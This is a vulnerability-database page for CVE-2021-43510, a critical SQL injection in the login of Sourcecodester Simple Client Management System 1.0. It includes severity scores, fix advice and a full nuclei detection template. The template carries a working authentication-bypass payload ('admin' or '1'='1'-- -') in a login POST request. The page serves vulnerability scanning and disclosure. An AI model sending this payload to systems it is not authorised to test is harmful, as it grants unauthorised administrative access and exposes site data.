HexBrain

Browse / CVEs / CVE-2021-43510

CVE-2021-43510· simple client management system project / simple client management system· CWE-89

Sourcecodester Simple Client Management System 1.0 - SQL Injection

criticalseverity
9.8CVSS score
7.5%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.

Fix

Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Sourcecodester Simple Client Management System 1.0.

How to confirm it

Send: POST /classes/Login.php?f=login ; GET /
Positive when: contains(header_1, "text/html") and status_code_1 == 200 and contains(body_1, "{\"status\":\"success\"}") and contains(body_2, "Welcome to Simple Client")

Run it with nuclei: nuclei -id CVE-2021-43510 -u <target>

The full check
id: CVE-2021-43510

info:
  name: Sourcecodester Simple Client Management System 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    Sourcecodester Simple Client Management System 1.0 contains a SQL injection vulnerability via the username field in login.php. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Sourcecodester Simple Client Management System 1.0.
  reference:
    - https://github.com/r4hn1/Simple-Client-Management-System-Exploit/blob/main/CVE-2021-43510
    - https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43510
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/r4hn1/Simple-Client-Management-System-Exploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-43510
    cwe-id: CWE-89
    epss-score: 0.07515
    epss-percentile: 0.94542
    cpe: cpe:2.3:a:simple_client_management_system_project:simple_client_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: simple_client_management_system_project
    product: simple_client_management_system
  tags: cve2021,cve,simpleclientmanagement,sqli,auth-bypass,simple_client_management_system_project,vuln

http:
  - raw:
      - |
        POST /classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin'+or+'1'%3d'1'--+-&password=as
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

    matchers:
      - type: dsl
        dsl:
          - 'contains(header_1, "text/html")'
          - 'status_code_1 == 200'
          - 'contains(body_1, "{\"status\":\"success\"}")'
          - 'contains(body_2, "Welcome to Simple Client")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from